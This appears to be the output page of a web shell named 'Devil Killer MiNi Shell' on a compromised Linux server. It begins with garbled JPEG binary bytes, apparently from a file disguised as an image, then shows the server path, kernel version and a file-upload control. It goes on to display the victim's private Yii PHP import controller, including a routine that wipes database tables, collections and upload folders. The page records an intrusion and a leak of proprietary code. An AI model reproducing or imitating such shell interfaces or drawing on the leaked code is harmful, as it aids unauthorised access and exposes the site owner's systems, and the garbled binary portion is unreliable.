JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/console/controllers/ImportController.php

<?php

namespace console\controllers;

use Yii;
use yii\console\Controller;
use yii\helpers\Console;

class ImportController extends Controller
{
    public $idPortal = null;
    public $limit = null;
    public $offset = null;
    public $userProfile = null;
    public $userStatus = null;
    public $userPackage = null;
    public $idCompany = null;
    public $idUser = null;
    public $idAdvertisement = null;
    public $idReservation = null;
    public $year = null;
    public $onlyBaseUsers = null;
    public $onlyInactiveUsersWithInvoices = null;
    public $email;
    
    public function options($actionID)
    {
        return ['idPortal', 'limit', 'offset', 'userProfile', 'userStatus', 'userPackage', 'idCompany', 'idUser', 'year', 'onlyBaseUsers', 'onlyInactiveUsersWithInvoices', 'idAdvertisement', 'idReservation', 'email'];
    }
    
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'tenders' => [
                'class' => '\console\controllers\actions\ImportTendersAction',
                'limit' => $this->limit,
                'offset' => $this->offset,
                'year' => $this->year,
            ],
            'partners' => [
                'class' => '\console\controllers\actions\ImportPartnersAction',
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'trainings' => [
                'class' => '\console\controllers\actions\ImportTrainingsAction',
                'idPortal' => $this->idPortal,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'fairs' => [
                'class' => '\console\controllers\actions\ImportFairsAction',
                'idPortal' => $this->idPortal,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'articles' => [
                'class' => '\console\controllers\actions\ImportArticlesAction',
                'idPortal' => $this->idPortal,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'advertisements' => [
                'class' => '\console\controllers\actions\ImportAdvertisementsAction',
                'idAdvertisement' => $this->idAdvertisement,
                'idPortal' => $this->idPortal,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'mailings-reservations' => [
                'class' => '\console\controllers\actions\ImportMailingsReservationsAction',
                'idReservation' => $this->idReservation,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'products' => [
                'class' => '\console\controllers\actions\ImportProductsAction',
            ],
            'companies-full' => [
                'class' => '\console\controllers\actions\ImportCompaniesFullAction',
                'idUser' => $this->idUser,  
                'idPortal' => $this->idPortal,                
                'userProfile' => $this->userProfile,
                'userStatus' => $this->userStatus,
                'userPackage' => $this->userPackage,
                'limit' => $this->limit,
                'offset' => $this->offset,
                'onlyBaseUsers' => $this->onlyBaseUsers,
                'onlyInactiveUsersWithInvoices' => $this->onlyInactiveUsersWithInvoices
            ],
            'contractors-with-invoices' => [
                'class' => '\console\controllers\actions\ImportContractorsWithInvoicesAction',
                'idUser' => $this->idUser,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'users' => [
                'class' => '\console\controllers\actions\ImportUsersAction',
                'idUser' => $this->idUser,  
                'idPortal' => $this->idPortal,                
                'userProfile' => $this->userProfile,
                'userStatus' => $this->userStatus,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'companies' => [
                'class' => '\console\controllers\actions\ImportCompaniesAction',
            ],
            'companies-invoicing-data' => [
                'class' => '\console\controllers\actions\ImportCompaniesInvoicingDataAction',
            ],
            'companies-correspondence-data' => [
                'class' => '\console\controllers\actions\ImportCompaniesCorrespondenceDataAction',
            ],
            'companies-branches' => [
                'class' => '\console\controllers\actions\ImportCompaniesBranchesAction',
            ],
            'companies-departments' => [
                'class' => '\console\controllers\actions\ImportCompaniesDepartmentsAction',
            ],
            'companies-keywords' => [
                'class' => '\console\controllers\actions\ImportCompaniesKeywordsAction',
            ],
            'companies-languages' => [
                'class' => '\console\controllers\actions\ImportCompaniesLanguagesAction',
            ],
            'companies-downloads' => [
                'class' => '\console\controllers\actions\ImportCompaniesDownloadsAction',
            ],
            'companies-photo-galleries' => [
                'class' => '\console\controllers\actions\ImportCompaniesPhotoGalleriesAction',
            ],
            'companies-video-galleries' => [
                'class' => '\console\controllers\actions\ImportCompaniesVideoGalleriesAction',
            ],
            'companies-awards' => [
                'class' => '\console\controllers\actions\ImportCompaniesAwardsAction',
            ],
            'companies-coverage' => [
                'class' => '\console\controllers\actions\ImportCompaniesCoverageAction',
            ],
            'companies-has-operators' => [
                'class' => '\console\controllers\actions\ImportCompaniesHasOperatorsAction',
                'idCompany' => $this->idCompany,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'companies-categories' => [
                'class' => '\console\controllers\actions\ImportCompaniesCategoriesAction',
            ],
            'companies-categories-tree' => [
                'class' => '\console\controllers\actions\ImportCompaniesCategoriesTreeAction',
                'idPortal' => $this->idPortal
            ],
            'products-categories-tree' => [
                'class' => '\console\controllers\actions\ImportProductsCategoriesTreeAction',
                'idPortal' => $this->idPortal
            ],
            'advertisements-categories-tree' => [
                'class' => '\console\controllers\actions\ImportAdvertisementsCategoriesTreeAction',
                'idPortal' => $this->idPortal
            ],
            'articles-categories-tree' => [
                'class' => '\console\controllers\actions\ImportArticlesCategoriesTreeAction',
                'idPortal' => $this->idPortal
            ],
            'portal-tenders-cpv' => [
                'class' => '\console\controllers\actions\ImportPortalTendersCpvAction',
                'idPortal' => $this->idPortal
            ],
            'publishing-houses' => [
                'class' => '\console\controllers\actions\ImportPublishingHousesAction',
            ],
            'books' => [
                'class' => '\console\controllers\actions\ImportBooksAction',
            ],
            'companies-contact-history' => [
                'class' => '\console\controllers\actions\ImportCompaniesContactHistoryAction',
            ],
            'vcallcenter-companies' => [
                'class' => '\console\controllers\actions\ImportVcallcenterCompaniesAction',
                'idCompany' => $this->idCompany,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'companies-orders' => [
                'class' => '\console\controllers\actions\ImportCompaniesOrdersAction',
                'idPortal' => $this->idPortal,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'companies-invoices' => [
                'class' => '\console\controllers\actions\ImportCompaniesInvoicesAction',
            ],
            'companies-inquiries' => [
                'class' => '\console\controllers\actions\ImportCompaniesInquiriesAction',
//                'idPortal' => $this->idPortal,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'newsletter-emails' => [
                'class' => '\console\controllers\actions\ImportNewsletterEmailsAction',
                'email' => $this->email,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
            'newsletter-deleted-emails' => [
                'class' => '\console\controllers\actions\ImportNewsletterDeletedEmailsAction',
                'email' => $this->email,
                'limit' => $this->limit,
                'offset' => $this->offset,
            ],
        ];
    }
    
    public function actionDeleteUsers()
    {
        $models = \common\models\Users::find()->where(['profile' => 'użytkownik'])->all();
        foreach($models as $model) {
            $model->delete();
            
        }
//        var_dump(count($models)); exit;
        
    }
    
    public function actionIntegrityTest()
    {
        $nonExistsIds = [];
        $ids = [];
        $items = \common\models\Users::find()->select(['id_user', 'profile'])->asArray()->all();
        foreach($items as $item) {
            $ids[$item['id_user']] = $item['profile'];
        }
        unset($items);
        
        $relations = [];
        $query = new \yii\mongodb\Query();
//        $documents = $query->from('import_users')->select(['_id', 'source_id', 'target_id', 'status', 'info'])->all();
//        if(!empty($documents)) {
//            foreach($documents as $document) {
//                $targetId = (int)$document['target_id'];
//                
//                if(!isset($ids[$targetId])) {
//                    $nonExistsIds[$targetId] = $targetId; 
////                    Yii::$app->mongodb->getCollection('import_users')->remove(['_id' => (string)$document['_id']]);
//                }
//            }
//            unset($documents);
//        } 
        
        $idsUsersFromEmails = $query->from('emails')->select(['id_user'])->column();
        $idsUsersFromEmails = array_unique($idsUsersFromEmails);
        if(!empty($idsUsersFromEmails)) {
            foreach($idsUsersFromEmails as $idUserFromEmail) {
                $id = (int)$idUserFromEmail;
                
                if(!isset($ids[$id])) {
                    $nonExistsIds[$id] = $id; 
//                    Yii::$app->mongodb->getCollection('emails')->remove(['id_user' => $id]);
                }
            }
            unset($idsUsersFromEmails);
        } 
        
        var_dump(count($nonExistsIds));
        
        exit;
        //\common\models\Emails::deleteAll(['id_user' => $this->id_user, 'id_company' => null]);
    }
    
    public function actionTest()
    {
        if(rand(0, 7) !== 2) {
//            $this->stdout('Przetwarzamy dalej.');
            return Controller::EXIT_CODE_NORMAL;
        } else {
//            $this->stderr('Nie ma nic do przetworzenia.');
            return Controller::EXIT_CODE_ERROR;
        }
    }
    
    public function actionResetApplicationState()
    {
        $sqlCommands = [
            "UPDATE banners SET id_company = 1",
            "UPDATE portals SET id_user = NULL",
            "TRUNCATE TABLE advertisements CASCADE",
            "TRUNCATE TABLE advertisements_categories CASCADE",
            "TRUNCATE TABLE advertisements_categories_has_advertisements_params CASCADE",
            "TRUNCATE TABLE advertisements_has_advertisements_params CASCADE",
            "TRUNCATE TABLE advertisements_messages CASCADE",
            "TRUNCATE TABLE advertisements_messages_attachments CASCADE",
            "TRUNCATE TABLE advertisements_params CASCADE",
            "TRUNCATE TABLE advertisements_photos CASCADE",
            "TRUNCATE TABLE articles CASCADE",
            "TRUNCATE TABLE articles_attachments CASCADE",
            "TRUNCATE TABLE articles_categories CASCADE",
            "TRUNCATE TABLE articles_has_articles_categories CASCADE",
            "TRUNCATE TABLE articles_has_articles_tags CASCADE",
            "TRUNCATE TABLE articles_has_portals CASCADE",
            "TRUNCATE TABLE articles_photos CASCADE",
            "TRUNCATE TABLE articles_tags CASCADE",
            "TRUNCATE TABLE articles_tags_selected CASCADE",
            "TRUNCATE TABLE auth_assignment CASCADE",
//            "TRUNCATE TABLE auth_item CASCADE",
//            "TRUNCATE TABLE auth_item_child CASCADE",
//            "TRUNCATE TABLE auth_rule CASCADE",
//            "UPDATE banners SET id_company = 2",
//            "TRUNCATE banners CASCADE", //@todo chwilowo niech tak będzie
            "TRUNCATE TABLE books CASCADE",
            "TRUNCATE TABLE books_attachments CASCADE",
            "TRUNCATE TABLE books_has_books_subscriptions CASCADE",
            "TRUNCATE TABLE books_has_books_tags CASCADE",
            "TRUNCATE TABLE books_has_bookstore_categories CASCADE",
            "TRUNCATE TABLE books_photos CASCADE",
            "TRUNCATE TABLE books_promoted CASCADE",
            "TRUNCATE TABLE books_reviews CASCADE",
            "TRUNCATE TABLE books_subscriptions CASCADE",
            "TRUNCATE TABLE books_subscriptions_attachments CASCADE",
            "TRUNCATE TABLE books_tags CASCADE",
//            "TRUNCATE TABLE bookstore_categories CASCADE",
            "TRUNCATE TABLE bookstore_discount_codes CASCADE",
            "TRUNCATE TABLE bookstore_orders CASCADE",
            "TRUNCATE TABLE bookstore_orders_items CASCADE",
//            "TRUNCATE TABLE companies CASCADE",
            "DELETE FROM companies WHERE id_company > 1",
            "TRUNCATE TABLE companies_awards CASCADE",
            "TRUNCATE TABLE companies_branches CASCADE",
            "TRUNCATE TABLE companies_branches_contact_data CASCADE",
            "TRUNCATE TABLE companies_cases CASCADE",
            "TRUNCATE TABLE companies_cases_entries CASCADE",
            "TRUNCATE TABLE companies_categories CASCADE",
            "TRUNCATE TABLE companies_categories2 CASCADE",
            "TRUNCATE TABLE companies_contact_data CASCADE",
            "TRUNCATE TABLE companies_correspondence_data CASCADE",
            "TRUNCATE TABLE companies_departments CASCADE",
            "TRUNCATE TABLE companies_departments_contact_data CASCADE",
            "TRUNCATE TABLE companies_downloads CASCADE",
            "TRUNCATE TABLE companies_employees CASCADE",
            "TRUNCATE TABLE companies_employees_contact_data CASCADE",
            "TRUNCATE TABLE companies_has_business_sectors CASCADE",
            "TRUNCATE TABLE companies_has_inquiries CASCADE",
            "TRUNCATE TABLE companies_has_languages CASCADE",
            "TRUNCATE TABLE companies_invoicing_data CASCADE",
            "TRUNCATE TABLE companies_orders CASCADE",
            "TRUNCATE TABLE companies_orders_items CASCADE",
            "TRUNCATE TABLE companies_orders_sales_distributions CASCADE",
            "TRUNCATE TABLE companies_photogalleries CASCADE",
            "TRUNCATE TABLE companies_photogalleries_photos CASCADE",
            "TRUNCATE TABLE companies_presentations CASCADE",
            "TRUNCATE TABLE companies_presentations_has_companies_awards CASCADE",
            "TRUNCATE TABLE companies_presentations_has_companies_branches CASCADE",
            "TRUNCATE TABLE companies_presentations_has_companies_categories CASCADE",
            "TRUNCATE TABLE companies_presentations_has_companies_departments CASCADE",
            "TRUNCATE TABLE companies_presentations_has_companies_downloads CASCADE",
            "TRUNCATE TABLE companies_presentations_has_companies_photogalleries CASCADE",
            "TRUNCATE TABLE companies_presentations_has_companies_videogalleries CASCADE",
            "TRUNCATE TABLE companies_presentations_has_countries CASCADE",
            "TRUNCATE TABLE companies_presentations_has_presentations_tags CASCADE",
            "TRUNCATE TABLE companies_presentations_has_products CASCADE",
            "TRUNCATE TABLE companies_presentations_has_regions CASCADE",
            "TRUNCATE TABLE companies_presentations_mirroring CASCADE",
            "TRUNCATE TABLE companies_presentations_pages CASCADE",
            "TRUNCATE TABLE companies_presentations_promoted CASCADE",
            "TRUNCATE TABLE companies_presentations_tabs CASCADE",
            "TRUNCATE TABLE companies_videogalleries CASCADE",
            "TRUNCATE TABLE companies_videogalleries_videos CASCADE",
            "TRUNCATE TABLE fairs CASCADE",
            "TRUNCATE TABLE fairs_attachments CASCADE",
            "TRUNCATE TABLE fairs_has_articles CASCADE",
            "TRUNCATE TABLE fairs_has_fairs_tags CASCADE",
            "TRUNCATE TABLE fairs_photogalleries CASCADE",
            "TRUNCATE TABLE fairs_photogalleries_photos CASCADE",
            "TRUNCATE TABLE fairs_series CASCADE",
            "TRUNCATE TABLE fairs_series_categories CASCADE",
            "TRUNCATE TABLE fairs_series_has_fairs_series_categories CASCADE",
            "TRUNCATE TABLE fairs_series_has_portals CASCADE",
            "TRUNCATE TABLE fairs_tags CASCADE",
            "TRUNCATE TABLE inquiries CASCADE",
            "TRUNCATE TABLE inquiries_attachments CASCADE",
            "TRUNCATE TABLE invoices CASCADE",
            "TRUNCATE TABLE invoices_items CASCADE",
//            "TRUNCATE TABLE job_offers CASCADE",
//            "TRUNCATE TABLE job_offers_has_job_offers_categories CASCADE",
            "TRUNCATE TABLE mailings CASCADE",
            "TRUNCATE TABLE mailings_contents CASCADE",
            "TRUNCATE TABLE mailings_reservations CASCADE",
            "TRUNCATE TABLE mailings_reservations_has_portals CASCADE",
            "TRUNCATE TABLE operators_has_companies CASCADE",
            "TRUNCATE TABLE operators_sections CASCADE",
            "TRUNCATE TABLE operators_sections_has_users CASCADE",            
            "TRUNCATE TABLE partners CASCADE",
            "TRUNCATE TABLE partners_has_portals CASCADE",
//            "TRUNCATE TABLE portals_has_bookstore_categories CASCADE",
            "TRUNCATE TABLE portals_has_operators CASCADE",
            "TRUNCATE TABLE portals_has_products_promoted CASCADE",
            "TRUNCATE TABLE portals_has_tenders_cpv CASCADE",
            "TRUNCATE TABLE presentations_tags CASCADE",
            "TRUNCATE TABLE products CASCADE",
            "TRUNCATE TABLE products_attachments CASCADE",
            "TRUNCATE TABLE products_categories CASCADE",
            "TRUNCATE TABLE products_has_products_categories CASCADE",
            "TRUNCATE TABLE products_has_products_tags CASCADE",
            "TRUNCATE TABLE products_photos CASCADE",
            "TRUNCATE TABLE products_tags CASCADE",
            "TRUNCATE TABLE publishing_houses CASCADE",
//            "TRUNCATE TABLE recommended_sites CASCADE",
            "TRUNCATE TABLE trainings CASCADE",
            "TRUNCATE TABLE trainings_attachments CASCADE",
            "TRUNCATE TABLE trainings_dates CASCADE",
            "TRUNCATE TABLE trainings_has_portals CASCADE",
            "TRUNCATE TABLE trainings_has_trainings_categories CASCADE",
//            "TRUNCATE TABLE users CASCADE",
            "DELETE FROM users WHERE id_user > 1",
            "TRUNCATE TABLE users_addresses CASCADE",
            "TRUNCATE TABLE users_contact_data CASCADE",
            "TRUNCATE TABLE users_has_portals CASCADE",
            "TRUNCATE TABLE users_payments CASCADE",
            "TRUNCATE TABLE users_passwords_reset CASCADE",
        ];
        
        $sequencesToReset = [
            "advertisements_categories_id_category_seq",
            "advertisements_id_advertisement_seq",
            "advertisements_messages_attachments_id_attachment_seq",
            "advertisements_messages_id_message_seq",
            "advertisements_params_id_param_seq",
            "advertisements_photos_id_photo_seq",
            "articles_attachments_id_attchment_seq",
            "articles_categories_id_category_seq",
            "articles_id_article_seq",
            "articles_photos_id_photo_seq",
            "articles_tags_id_tag_seq",
            "articles_tags_selected_id_selected_seq",
//            "banners_id_banner_seq", //@todo chwilowo niech tak będzie
            "books_attachments_id_attachment_seq",
            "books_id_book_seq",
            "books_photos_id_photo_seq",
            "books_promoted_id_promotion_seq",
            "books_reviews_id_review_seq",
            "books_subscriptions_attachments_id_attachment_seq",
            "books_subscriptions_id_subscription_seq",
            "books_tags_id_tag_seq",
//            "bookstore_categories_id_category_seq",
            "bookstore_orders_id_order_seq",
            "bookstore_orders_items_id_item_seq",
//            "business_sectors_id_sector_seq",
            "companies_awards_id_award_seq",
            "companies_branches_contact_data_id_contact_data_seq",
            "companies_branches_id_branch_seq",
            "companies_cases_entries_id_entry_seq",
            "companies_cases_id_case_seq",
            "companies_categories_id_category_seq",
            "companies_categories_id_seq",
            "companies_contact_data_id_contact_data_seq",
            "companies_correspondence_data_id_invocing_data_seq",
            "companies_departments_contact_data_id_contact_data_seq",
            "companies_departments_id_department_seq",
            "companies_downloads_id_download_seq",
            "companies_employees_contact_data_id_contact_data_seq",
            "companies_employees_id_employee_seq",
            "companies_id_company_seq",
            "companies_invoicing_data_id_invocing_data_seq",
            "companies_orders_id_order_seq",
            "companies_orders_items_id_item_seq",
            "companies_photogalleries_id_gallery_seq",
            "companies_photogalleries_photos_id_photo_seq",
            "companies_presentations_id_presentation_seq",
            "companies_presentations_promoted_id_promotion_seq",
            "companies_presentations_tabs_id_company_tab_seq",
            "companies_videogalleries_id_gallery_seq",
            "companies_videogalleries_videos_id_video_seq",
            "fairs_attachments_id_attachment_seq",
            "fairs_id_fair_seq",
            "fairs_photogalleries_id_gallery_seq",
            "fairs_photogalleries_photos_id_photo_seq",
            "fairs_series_categories_id_category_seq",
            "fairs_series_id_series_seq",
            "fairs_tags_id_tag_seq",
            "inquiries_attachments_id_attachment_seq",
            "inquiries_id_inquiry_seq",
            "invoices_id_invoice_seq",
            "invoices_items_id_item_seq",
//            "job_offers_categories_id_category_seq",
//            "job_offers_id_offer_seq",
            "mailings_contents_id_content_seq",
            "mailings_id_mailing_seq",
            "mailings_reservations_id_reservation_seq",
            "operators_sections_id_section_seq",
            "partners_id_partner_seq",
//            "portals_ads_info_id_info_seq",
//            "portals_articles_groups_id_group_seq",
            "portals_has_products_promoted_id_promotion_seq",
//            "posts_id_post_seq",
            "presentations_tags_id_tag_seq",
            "products_attachments_id_attachment_seq",
            "products_categories_id_category_seq",
            "products_id_product_seq",
            "products_photos_id_photo_seq",
            "products_tags_id_tag_seq",
            "publishing_houses_id_publishing_house_seq",
//            "recommended_sites_id_site_seq",
            "trainings_attachments_id_attachment_seq",
//            "trainings_categories_id_category_seq",
            "trainings_dates_id_date_seq",
            "trainings_id_training_seq",
            "users_addresses_id_address_seq",
            "users_contact_data_id_contact_data_seq",
            "users_id_user_seq",
            "users_payments_id_payment_seq"
        ];
        
        $dirsToClear = [
            Yii::getAlias('@common').'/web/uploads/images/advertisements/',
            Yii::getAlias('@common').'/web/uploads/images/articles/',
//            Yii::getAlias('@common').'/web/uploads/images/banners/', //@todo chwilowo niech tak będzie
            Yii::getAlias('@common').'/web/uploads/images/books/',
            Yii::getAlias('@common').'/web/uploads/images/companies/',
            Yii::getAlias('@common').'/web/uploads/images/companiesphotogalleries/',
            Yii::getAlias('@common').'/web/uploads/images/fairs/',
            Yii::getAlias('@common').'/web/uploads/images/fairs_series/',
            Yii::getAlias('@common').'/web/uploads/images/partners/',
            Yii::getAlias('@common').'/web/uploads/images/publishing_houses/',
            Yii::getAlias('@common').'/web/uploads/images/users/',
            
            Yii::getAlias('@common').'/web/uploads/attachments/advertisements_messages/',
            Yii::getAlias('@common').'/web/uploads/attachments/articles/',
            Yii::getAlias('@common').'/web/uploads/attachments/books/',
            Yii::getAlias('@common').'/web/uploads/attachments/books_subscriptions/',
            Yii::getAlias('@common').'/web/uploads/attachments/downloads/',
            Yii::getAlias('@common').'/web/uploads/attachments/fairs/',
            Yii::getAlias('@common').'/web/uploads/attachments/inquiries/',
            Yii::getAlias('@common').'/web/uploads/attachments/products/',
            Yii::getAlias('@common').'/web/uploads/attachments/trainings/',
            
            Yii::getAlias('@common').'/web/uploads/source/articles/',
            Yii::getAlias('@common').'/web/uploads/source/books/',     
            Yii::getAlias('@common').'/web/uploads/source/companies/',            
            Yii::getAlias('@common').'/web/uploads/source/fairs/',
            Yii::getAlias('@common').'/web/uploads/source/fairs_series/',
            Yii::getAlias('@common').'/web/uploads/source/partners/',
            Yii::getAlias('@common').'/web/uploads/source/products/',
            Yii::getAlias('@common').'/web/uploads/source/trainings/',
            
            Yii::getAlias('@common').'/web/uploads/thumbs/articles/',
            Yii::getAlias('@common').'/web/uploads/thumbs/books/',   
            Yii::getAlias('@common').'/web/uploads/thumbs/companies/',            
            Yii::getAlias('@common').'/web/uploads/thumbs/fairs/',
            Yii::getAlias('@common').'/web/uploads/thumbs/fairs_series/',
            Yii::getAlias('@common').'/web/uploads/thumbs/partners/',
            Yii::getAlias('@common').'/web/uploads/thumbs/products/',
            Yii::getAlias('@common').'/web/uploads/thumbs/trainings/',
            
            Yii::getAlias('@common').'/web/tenders/',
        ];
        
        $mongodbCollections = [
            'banners_visits',
            'bookstore_shipping_carts',
            'collections_sequences',
            'companies_orders_archive',
            'contractors',
            'elasticsearch_indexes_sync',
            'emails',
            'emails_sets',
            'fast_login_tokens',
            'import_advertisements',
            'import_advertisements_categories',
            'import_advertisements_categories_trees',
            'import_articles',
            'import_articles_categories',
            'import_articles_categories_trees',
            'import_books',
            'import_companies',	
            'import_companies_awards', 	
            'import_companies_branches', 
            'import_companies_categories',
            'import_companies_categories_trees', 
            'import_companies_contact_history',
            'import_companies_correspondence_data',
            'import_companies_departments',
            'import_companies_downloads',
            'import_companies_has_operators',
            'import_companies_inquiries',	
            'import_companies_invoices',	
            'import_companies_invoicing_data',
            'import_companies_orders',
            'import_companies_photogalleries',
            'import_companies_videogalleries',	
            'import_contractors',
            'import_errors',	
            'import_fairs',
            'import_mailings_reservations',
            'import_newsletter_deleted_emails',
            'import_newsletter_emails',
            'import_partners',
            'import_portals_cpv',
            'import_products',
            'import_products_categories',
            'import_products_categories_trees',
            'import_publishing_houses',
            'import_tenders',
            'import_trainings',
            'import_users',	
            'import_vcallcenter_companies',	
            'inquiries_shipping',
            'inquiries_temporary',
            'mailings_reports',
            'mailings_shipping',
            'mailings_urls_visits',
            'tenders',
            'tenders_import_status',
            'users_activations',
            'users_changes'
        ];
        
        $flag = true;
        
        $transaction = Yii::$app->db->beginTransaction();
        try {
            foreach($sqlCommands as $sqlCommand) {
                Yii::$app->db->createCommand($sqlCommand)->execute();
            }          
            foreach($sequencesToReset as $sequenceName) {
                Yii::$app->db->createCommand("ALTER SEQUENCE ".$sequenceName." RESTART WITH 1")->execute();
            } 
            $transaction->commit();
        } catch(\Exception $e) {
            $flag = false;
            $transaction->rollBack();
            throw $e;
        } catch(\Throwable $e) {
            $flag = false;
            $transaction->rollBack();
            throw $e;
        }
        
        if($flag) {
            try {
//                $existsCollections = Yii::$app->mongodb->database->mongoDb->getCollectionNames();                
                $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase('base_db')->listCollections(), 'name');
                
                foreach($mongodbCollections as $mongodbCollection) {
                    if(!in_array($mongodbCollection, $existsCollections)) {
                        continue;
                    }
                    if(Yii::$app->mongodb->getCollection($mongodbCollection)->drop() === false) {
                        $flag = false;
                    } 
                }
            } catch(\yii\mongodb\Exception $e) {
                $flag = false;
                $transaction->rollBack();
                throw $e;
            } catch(\Exception $e) {
                $flag = false;
                $transaction->rollBack();
                throw $e;
            }
        }
        
        if($flag) {
            \frontend\models\IndexAdvertisements::deleteIndex(); 
            \frontend\models\IndexArticles2::deleteIndex();
            \frontend\models\IndexAutocomplete::deleteIndex();
            \frontend\models\IndexBooks::deleteIndex();
            \frontend\models\IndexFairs::deleteIndex();
            \frontend\models\IndexPresentations::deleteIndex();
